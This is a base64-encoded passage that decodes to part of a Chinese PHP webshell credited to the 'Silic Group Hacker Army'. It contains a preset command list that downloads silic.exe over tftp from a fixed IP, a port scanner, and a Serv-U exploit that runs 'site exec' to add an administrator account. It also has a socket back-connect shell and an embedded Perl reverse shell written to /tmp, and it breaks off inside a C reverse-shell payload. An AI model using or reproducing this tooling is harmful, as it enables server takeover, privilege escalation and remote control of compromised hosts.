A9ICJpcGNvbmZpZyI7DQoJU3RyWzEwXSA9ICJjb3B5IGM6XFwxLnBocCBkOlxcMi5waHAiOw0KCVN0clsxMV0gPSAidGZ0cCAtaSAxMjMuMjM0LjIyMi4xIGdldCBzaWxpYy5leGUgYzpcXHNpbGljLmV4ZSI7DQoJU3RyWzEyXSA9ICJsc2JfcmVsZWFzZSAtYSI7DQoJU3RyWzEzXSA9ICJjaG1vZCA3NzcgL3RtcC9zaWxpYy5jIjsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjbWQnKS52YWx1ZSA9IFN0cltpXTsNCnJldHVybiB0cnVlOw0KfQ0KPC9zY3JpcHQ+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Imdmb3JtIiBpZD0iZ2Zvcm0iIGFjdGlvbj0iP3M9ZyI+PGNlbnRlcj48ZGl2IGNsYXNzPSJhY3RhbGwiPg0Kw/zB7rLOyv0gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNtZCIgaWQ9ImNtZCIgdmFsdWU9InskY21kfSIgc3R5bGU9IndpZHRoOjM5OXB4OyI+DQo8c2VsZWN0IG9uY2hhbmdlPSdyZXR1cm4gc0Z1bGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSknPg0KPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+LS3D/MHuvK+6zy0tPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxIj7OxLz+wdCx7Twvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMiI+tsHIocXk1sM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMiPr+9sbTOxLz+PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0Ij7Ptc2z0MXPojwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNSI+seDS687EvP48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjYiPsztvNO53MDtPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI3Ij7Tw7unwdCx7Twvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iOCI+sum/tLbLv9o8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjkiPrLpv7S12Na3PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMCI+uLTWxs7EvP48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjExIj5GVFDPwtTYPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMiI+xNq6y7Dmsb48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEzIj64/LjEyvTQ1Dwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i1rTQ0CIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PHRleHRhcmVhIG5hbWU9InNob3ciIHN0eWxlPSJ3aWR0aDo2NjBweDtoZWlnaHQ6Mzk5cHg7Ij57JHJlc308L3RleHRhcmVhPjwvZGl2PjwvY2VudGVyPjwvZm9ybT4NCkVORDsNCgkJCXJldHVybiB0cnVlOw0KCQl9DQoJCS8vyajD6LbLv9oNCgkJZnVuY3Rpb24gUG9ydF9pKCkNCgkJew0KCQkJJFBvcnRfaXAgPSBpc3NldCgkX1BPU1RbJ2lwJ10pID8gJF9QT1NUWydpcCddIDogJzEyNy4wLjAuMSc7DQoJCQkkUG9ydF9wb3J0ID0gaXNzZXQoJF9QT1NUWydwb3J0J10pID8gJF9QT1NUWydwb3J0J10gOiAnMjF8MjJ8MjN8MjV8ODB8MTEwfDExMXwxMzV8MTM5fDQ0M3w0NDV8MTQzM3wxNTIxfDMzMDZ8MzM4OXw0ODk5fDU0MzJ8NTYzMXw3MDAxfDgwMDB8ODA4MHwxNDE0N3w0Mzk1OCc7DQoJCQlwcmludDw8PEVORA0KPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJpZm9ybSIgaWQ9Imlmb3JtIiBhY3Rpb249Ij9zPWkiPg0KPGRpdiBjbGFzcz0iYWN0YWxsIj7JqMPoSVAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImlwIiB2YWx1ZT0ieyRQb3J0X2lwfSIgc3R5bGU9IndpZHRoOjYwMHB4OyI+IDwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj62y7/ausUgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHZhbHVlPSJ7JFBvcnRfcG9ydH0iIHN0eWxlPSJ3aWR0aDo3MjBweDsiPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iyajD6CIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4NCjwvZm9ybT4NCkVORDsNCgkJCWlmKCghZW1wdHkoJF9QT1NUWydpcCddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkpKQ0KCQkJew0KCQkJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsNCgkJCQkkcG9ydHMgPSBleHBsb2RlKCd8JywgJF9QT1NUWydwb3J0J10pOw0KCQkJCWZvcigkaSA9IDA7JGkgPCBjb3VudCgkcG9ydHMpOyRpKyspDQoJCQkJew0KCQkJCQkkZnAgPSBAZnNvY2tvcGVuKCRfUE9TVFsnaXAnXSwkcG9ydHNbJGldLCRlcnJubywkZXJyc3RyLDIpOw0KCQkJCQllY2hvICRmcCA/ICc8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+v6q3xbbLv9ogLS0tPiAnLiRwb3J0c1skaV0uJzwvZm9udD48YnI+JyA6ICe52LHVtsu/2iAtLS0+ICcuJHBvcnRzWyRpXS4nPGJyPic7DQoJCQkJCW9iX2ZsdXNoKCk7DQoJCQkJCWZsdXNoKCk7DQoJCQkJfQ0KCQkJCWVjaG8gJzwvZGl2Pic7DQoJCQl9DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQ0KCQkvL1NlcnZVDQoJCWZ1bmN0aW9uIFNlcnZ1X2woKQ0KCQl7DQoJCQkkU1VQYXNzID0gaXNzZXQoJF9QT1NUWydTVVBhc3MnXSkgPyAkX1BPU1RbJ1NVUGFzcyddIDogJyNsQCRhayMubGs7MEBQJzsNCgkJCXByaW50PDw8RU5EDQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxhIGhyZWY9Ij9zPWwiPlvWtNDQw/zB7l08L2E+IDxhIGhyZWY9Ij9zPWwmbz1hZGR1c2VyIj5bzO2809PDu6ddPC9hPjwvZGl2Pg0KPGZvcm0gbWV0aG9kPSJQT1NUIj4NCgk8ZGl2IGNsYXNzPSJhY3RhbGwiPlNlcnZVtsu/2iA8aW5wdXQgbmFtZT0iU1VQb3J0IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iNDM5NTgiIHN0eWxlPSJ3aWR0aDozMDBweCI+PC9kaXY+DQoJPGRpdiBjbGFzcz0iYWN0YWxsIj5TZXJ2VdPDu6cgPGlucHV0IG5hbWU9IlNVVXNlciIgdHlwZT0idGV4dCIgdmFsdWU9IkxvY2FsQWRtaW5pc3RyYXRvciIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4NCgk8ZGl2IGNsYXNzPSJhY3RhbGwiPlNlcnZVw9zC6yA8aW5wdXQgbmFtZT0iU1VQYXNzIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ieyRTVVBhc3N9IiBzdHlsZT0id2lkdGg6MzAwcHgiPjwvZGl2Pg0KRU5EOw0KCQkJaWYoJF9HRVRbJ28nXSA9PSAnYWRkdXNlcicpDQoJCQl7DQoJCQkJcHJpbnQ8PDxFTkQNCjxkaXYgY2xhc3M9ImFjdGFsbCI+1cq6xSA8aW5wdXQgbmFtZT0idXNlciIgdHlwZT0idGV4dCIgdmFsdWU9InlvY28iIHN0eWxlPSJ3aWR0aDoyMDBweCI+DQrD3MLrIDxpbnB1dCBuYW1lPSJwYXNzd29yZCIgdHlwZT0idGV4dCIgdmFsdWU9InNpbGljIiBzdHlsZT0id2lkdGg6MjAwcHgiPg0KxL/CvCA8aW5wdXQgbmFtZT0icGFydCIgdHlwZT0idGV4dCIgdmFsdWU9IkM6XFxcXCIgc3R5bGU9IndpZHRoOjIwMHB4Ij48L2Rpdj4NCkVORDsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQlwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj7M4ciow/zB7iA8aW5wdXQgbmFtZT0iU1VDb21tYW5kIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ibmV0IHVzZXIgc2lsaWMgc2lsaWMgL2FkZCAmIG5ldCBsb2NhbGdyb3VwIGFkbWluaXN0cmF0b3JzIHNpbGljIC9hZGQiIHN0eWxlPSJ3aWR0aDo2MDBweCI+PGJyPg0KPGlucHV0IG5hbWU9InVzZXIiIHR5cGU9ImhpZGRlbiIgdmFsdWU9InNpbGljIj4NCjxpbnB1dCBuYW1lPSJwYXNzd29yZCIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0ic2lsaWMiPg0KPGlucHV0IG5hbWU9InBhcnQiIHR5cGU9ImhpZGRlbiIgdmFsdWU9IkM6XFxcXCI+PC9kaXY+DQpFTkQ7DQoJCQl9DQoJCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLWtNDQIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2PjwvZm9ybT4nOw0KCQkJaWYoKCFlbXB0eSgkX1BPU1RbJ1NVUG9ydCddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ1NVVXNlciddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ1NVUGFzcyddKSkpDQoJCQl7DQoJCQkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOw0KCQkJCSRzZW5kYnVmID0gIiI7DQoJCQkJJHJlY3ZidWYgPSAiIjsNCgkJCQkkZG9tYWluICA9ICItU0VURE9NQUlOXHJcbiIuIi1Eb21haW49aGF4b3JjaXRvc3wwLjAuMC4wfDIxfC0xfDF8MFxyXG4iLiItVFpPRW5hYmxlPTBcclxuIi4iIFRaT0tleT1cclxuIjsNCgkJCQkkYWRkdXNlciA9ICItU0VUVVNFUlNFVFVQXHJcbiIuIi1JUD0wLjAuMC4wXHJcbiIuIi1Qb3J0Tm89MjFcclxuIi4iLVVzZXI9Ii4kX1BPU1RbJ3VzZXInXS4iXHJcbiIuIi1QYXNzd29yZD0iLiRfUE9TVFsncGFzc3dvcmQnXS4iXHJcbiIuIi1Ib21lRGlyPWM6XFxcclxuIi4iLUxvZ2luTWVzRmlsZT1cclxuIi4iLURpc2FibGU9MFxyXG4iLiItUmVsUGF0aHM9MVxyXG4iLiItTmVlZFNlY3VyZT0wXHJcbiIuIi1IaWRlSGlkZGVuPTBcclxuIi4iLUFsd2F5c0FsbG93TG9naW49MFxyXG4iLiItQ2hhbmdlUGFzc3dvcmQ9MFxyXG4iLg0KCQkJCQkJIi1RdW90YUVuYWJsZT0wXHJcbiIuIi1NYXhVc2Vyc0xvZ2luUGVySVA9LTFcclxuIi4iLVNwZWVkTGltaXRVcD0wXHJcbiIuIi1TcGVlZExpbWl0RG93bj0wXHJcbiIuIi1NYXhOclVzZXJzPS0xXHJcbiIuIi1JZGxlVGltZU91dD02MDBcclxuIi4iLVNlc3Npb25UaW1lT3V0PS0xXHJcbiIuIi1FeHBpcmU9MFxyXG4iLiItUmF0aW9VcD0xXHJcbiIuIi1SYXRpb0Rvd249MVxyXG4iLiItUmF0aW9zQ3JlZGl0PTBcclxuIi4iLVF1b3RhQ3VycmVudD0wXHJcbiIuIi1RdW90YU1heGltdW09MFxyXG4iLg0KCQkJCQkJIi1NYWludGVuYW5jZT1Ob25lXHJcbiIuIi1QYXNzd29yZFR5cGU9UmVndWxhclxyXG4iLiItUmF0aW9zPU5vbmVcclxuIi4iIEFjY2Vzcz0iLiRfUE9TVFsncGFydCddLiJcfFJXQU1FTENEUFxyXG4iOw0KCQkJCSRkZWxkb21haW4gPSAiLURFTEVURURPTUFJTlxyXG4iLiItSVA9MC4wLjAuMFxyXG4iLiIgUG9ydE5vPTIxXHJcbiI7DQoJCQkJJHNvY2sgPSBAZnNvY2tvcGVuKCIxMjcuMC4wLjEiLCAkX1BPU1RbIlNVUG9ydCJdLCAkZXJybm8sICRlcnJzdHIsIDEwKTsNCgkJCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkc29jaywgMTAyNCk7DQoJCQkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJCQkJJHNlbmRidWYgPSAiVVNFUiAiLiRfUE9TVFsiU1VVc2VyIl0uIlxyXG4iOw0KCQkJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KCQkJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOw0KCQkJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsNCgkJCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkJCQkkc2VuZGJ1ZiA9ICJQQVNTICIuJF9QT1NUWyJTVVBhc3MiXS4iXHJcbiI7DQoJCQkJQGZwdXRzKCRzb2NrLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQoJCQkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7DQoJCQkJJHJlY3ZidWYgPSBAZmdldHMoJHNvY2ssIDEwMjQpOw0KCQkJCWVjaG8gIre1u9jK/b7dsPw6ICRyZWN2YnVmIDxicj4iOw0KCQkJCSRzZW5kYnVmID0gIlNJVEUgTUFJTlRFTkFOQ0VcclxuIjsNCgkJCQlAZnB1dHMoJHNvY2ssICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCgkJCQllY2hvICK3osvNyv2+3bD8OiAkc2VuZGJ1ZiA8YnI+IjsNCgkJCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkc29jaywgMTAyNCk7DQoJCQkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJCQkJJHNlbmRidWYgPSAkZG9tYWluOw0KCQkJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KCQkJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOw0KCQkJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsNCgkJCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkJCQkkc2VuZGJ1ZiA9ICRhZGR1c2VyOw0KCQkJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KCQkJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOw0KCQkJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsNCgkJCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkJCQlpZighZW1wdHkoJF9QT1NUWydTVUNvbW1hbmQnXSkpDQoJCQkJew0KCQkJCQkkZXhwID0gQGZzb2Nrb3BlbigiMTI3LjAuMC4xIiwgIjIxIiwgJGVycm5vLCAkZXJyc3RyLCAxMCk7DQoJCQkJCSRyZWN2YnVmID0gQGZnZXRzKCRleHAsIDEwMjQpOw0KCQkJCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkJCQkJJHNlbmRidWYgPSAiVVNFUiAiLiRfUE9TVFsndXNlciddLiJcclxuIjsNCgkJCQkJQGZwdXRzKCRleHAsICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCgkJCQkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7DQoJCQkJCSRyZWN2YnVmID0gQGZnZXRzKCRleHAsIDEwMjQpOw0KCQkJCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkJCQkJJHNlbmRidWYgPSAiUEFTUyAiLiRfUE9TVFsncGFzc3dvcmQnXS4iXHJcbiI7DQoJCQkJCUBmcHV0cygkZXhwLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQoJCQkJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOw0KCQkJCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkZXhwLCAxMDI0KTsNCgkJCQkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJCQkJCSRzZW5kYnVmID0gInNpdGUgZXhlYyAiLiRfUE9TVFsiU1VDb21tYW5kIl0uIlxyXG4iOw0KCQkJCQlAZnB1dHMoJGV4cCwgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KCQkJCQllY2hvICK3osvNyv2+3bD8OiBzaXRlIGV4ZWMgPGZvbnQgY29sb3I9IzAwNjYwMD4iLiRfUE9TVFsiU1VDb21tYW5kIl0uIjwvZm9udD4gPGJyPiI7DQoJCQkJCSRyZWN2YnVmID0gQGZnZXRzKCRleHAsIDEwMjQpOw0KCQkJCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkJCQkJJHNlbmRidWYgPSAkZGVsZG9tYWluOw0KCQkJCQlAZnB1dHMoJHNvY2ssICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCgkJCQkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7DQoJCQkJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsNCgkJCQkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJCQkJCUBmY2xvc2UoJGV4cCk7DQoJCQkJfQ0KCQkJCUBmY2xvc2UoJHNvY2spOw0KCQkJCWVjaG8gJzwvZGl2Pic7DQoJCQl9DQoJCX0NCgkJLy+3tLWvway90w0KCQlmdW5jdGlvbiBiYWNrY29ubigpDQoJCXsNCgkJCSR0eT0kX0dFVFsndHknXTsNCgkJCWlmKCR0eT09J3NvY2tldCcpew0KCQkJCUBzZXRfdGltZV9saW1pdCgwKTsNCgkJCQkkc3lzdGVtPXN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpOw0KCQkJCWlmKCFleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykpDQoJCQkJew0KCQkJCQlpZigkc3lzdGVtID09ICdXSU4nKXtAZGwoJ3BocF9zb2NrZXRzLmRsbCcpIG9yIGRpZSgiQ2FuJ3QgbG9hZCBzb2NrZXQiKTt9DQoJCQkJCWVsc2V7QGRsKCdzb2NrZXRzLnNvJykgb3IgZGllKCJDYW4ndCBsb2FkIHNvY2tldCIpO30NCgkJCQl9DQoJCQkJaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsncG9ydCddKSkNCgkJCQl7DQoJCQkJCSRob3N0ID0gJF9QT1NUWydob3N0J107DQoJCQkJCSRwb3J0ID0gJF9QT1NUWydwb3J0J107DQoJCQkJfWVsc2V7DQoJCQkJCXByaW50PDw8RU5EDQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0iP3M9ZGQmdHk9c29ja2V0Ij4NCjxicj7W97v6wODQzTo8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9aW5mbyB2YWx1ZT0ibGludXgiPkxpbnV4IDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT1pbmZvIHZhbHVlPSJ3aW4iIGNoZWNrZWQ+V2luZG93czxicj48YnI+DQrW97v6o7o8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdCB2YWx1ZT0iIj48YnI+DQq2y7/ao7o8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cG9ydCB2YWx1ZT0iMTEyMCI+PGJyPjxicj4NCjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSK3tLWvway90yI+PGJyPjxicj48L2Zvcm0+PC9kaXY+DQpFTkQ7DQoJCQkJfQ0KCQkJCWlmKCRzeXN0ZW09PSJXSU4iKXskZW52PWFycmF5KCdwYXRoJyA9PiAnYzpcXHdpbmRvd3NcXHN5c3RlbTMyJyk7fQ0KCQkJCWVsc2V7JGVudiA9IGFycmF5KCdQQVRIJyA9PiAnL2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW46L3Vzci9zYmluJyk7fQ0KCQkJCSRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCJyIiksMSA9PiBhcnJheSgicGlwZSIsInciKSwyID0+IGFycmF5KCJwaXBlIiwidyIpLCk7DQoJCQkJJGhvc3Q9Z2V0aG9zdGJ5bmFtZSgkaG9zdCk7DQoJCQkJJHByb3RvPWdldHByb3RvYnluYW1lKCJ0Y3AiKTsNCgkJCQlpZigoJHNvY2s9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLCRwcm90bykpPDApe2RpZSgiU29ja2V0tLS9qMqnsNwiKTt9DQoJCQkJaWYoKCRyZXQ9c29ja2V0X2Nvbm5lY3QoJHNvY2ssJGhvc3QsJHBvcnQpKTwwKXtkaWUoIsGsvdPKp7DcIik7fQ0KCQkJCWVsc2V7DQoJCQkJCSRtZXNzYWdlPSIgU2lsaWMgR3JvdXAgSGFja2VyIEFybXkgLSBCbGFja0JhcC5PcmcgLSBQSFC3tLWvway901xuIjsNCgkJCQkJc29ja2V0X3dyaXRlKCRzb2NrLCRtZXNzYWdlLHN0cmxlbigkbWVzc2FnZSkpOw0KCQkJCQkkY3dkPXN0cl9yZXBsYWNlKCdcXCcsJy8nLGRpcm5hbWUoX19GSUxFX18pKTsNCgkJCQkJd2hpbGUoJGNtZD1zb2NrZXRfcmVhZCgkc29jayw2NTUzNSwkcHJvdG8pKQ0KCQkJCQl7DQoJCQkJCQlpZih0cmltKHN0cnRvbG93ZXIoJGNtZCkpPT0iZXhpdCIpe3NvY2tldF93cml0ZSgkc29jaywiQnllXG4iKTsgZXhpdDt9DQoJCQkJCQllbHNlew0KCQkJCQkJCSRwcm9jZXNzID0gcHJvY19vcGVuKCRjbWQsICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzLCAkY3dkLCAkZW52KTsNCgkJCQkJCQlpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKXsNCgkJCQkJCQkJZndyaXRlKCRwaXBlc1swXSwgJGNtZCk7DQoJCQkJCQkJCWZjbG9zZSgkcGlwZXNbMF0pOw0KCQkJCQkJCQkkbXNnPXN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsNCgkJCQkJCQkJc29ja2V0X3dyaXRlKCRzb2NrLCRtc2csc3RybGVuKCRtc2cpKTsNCgkJCQkJCQkJZmNsb3NlKCRwaXBlc1sxXSk7DQoJCQkJCQkJCSRtc2c9c3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMl0pOw0KCQkJCQkJCQlzb2NrZXRfd3JpdGUoJHNvY2ssJG1zZyxzdHJsZW4oJG1zZykpOw0KCQkJCQkJCQkkcmV0dXJuX3ZhbHVlID0gcHJvY19jbG9zZSgkcHJvY2Vzcyk7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQkJZWxzZWlmKCR0eT09J2xpbnV4Jyl7DQoJCQkJJHlvdXJpcCA9IGlzc2V0KCRfUE9TVFsneW91cmlwJ10pID8gJF9QT1NUWyd5b3VyaXAnXSA6IGdldGVudignUkVNT1RFX0FERFInKTsNCgkJCQkkeW91cnBvcnQgPSBpc3NldCgkX1BPU1RbJ3lvdXJwb3J0J10pID8gJF9QT1NUWyd5b3VycG9ydCddIDogJzEyNjY2JzsNCgkJCQlwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj48Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Imtmb3JtIiBpZD0ia2Zvcm0iIGFjdGlvbj0iP3M9ZGQmdHk9bGludXgiPg0KPGJyPsTjtcS12Na3IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ5b3VyaXAiIHZhbHVlPSJ7JHlvdXJpcH0iIHN0eWxlPSJ3aWR0aDo0MDBweCI+PGJyPg0Kway907bLv9ogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InlvdXJwb3J0IiB2YWx1ZT0iMTI2NjYiIHN0eWxlPSJ3aWR0aDo0MDBweCI+PGJyPg0K1rTQ0Le9yr0gPHNlbGVjdCBuYW1lPSJ1c2UiPjxvcHRpb24gdmFsdWU9InBlcmwiPnBlcmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjIj5jPC9vcHRpb24+PC9zZWxlY3Q+Jm5ic3A7Jm5ic3A7DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0it7S1r8GsvdMiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PGJyPjxicj48YnI+PC9mb3JtPjwvZGl2Pg0KRU5EOw0KCQkJCWlmKCghZW1wdHkoJF9QT1NUWyd5b3VyaXAnXSkpICYmICghZW1wdHkoJF9QT1NUWyd5b3VycG9ydCddKSkpDQoJCQkJew0KCQkJCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7DQoJCQkJCWlmKCRfUE9TVFsndXNlJ10gPT0gJ3BlcmwnKQ0KCQkJCQl7DQoJCQkJCQkkYmFja19jb25uZWN0X3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUmhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWxPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCgkJCQkJCWVjaG8gRmlsZV9Xcml0ZSgnL3RtcC95b2NvX2JjJyxiYXNlNjRfZGVjb2RlKCRiYWNrX2Nvbm5lY3RfcGwpLCd3YicpID8gJ7S0vagvdG1wL3lvY29fYmOzybmmPGJyPicgOiAntLS9qC90bXAveW9jb19iY8qnsNw8YnI+JzsNCgkJCQkJCSRwZXJscGF0aCA9IEV4ZWNfUnVuKCd3aGljaCBwZXJsJyk7DQoJCQkJCQkkcGVybHBhdGggPSAkcGVybHBhdGggPyBjaG9wKCRwZXJscGF0aCkgOiAncGVybCc7DQoJCQkJCQllY2hvIEV4ZWNfUnVuKCRwZXJscGF0aC4nIC90bXAveW9jb19iYyAnLiRfUE9TVFsneW91cmlwJ10uJyAnLiRfUE9TVFsneW91cnBvcnQnXS4nICYnKSA/ICduYyAtbCAtbiAtdiAtcCAnLiRfUE9TVFsneW91cnBvcnQnXSA6ICfWtNDQw/zB7sqnsNwnOw0KCQkJCQl9DQoJCQkJCWlmKCRfUE9TVFsndXNlJ10gPT0gJ2MnKQ0KCQkJCQl7DQoJCQkJCQkkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBEUXA3RFFvZ2FXNTBJR1prT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1q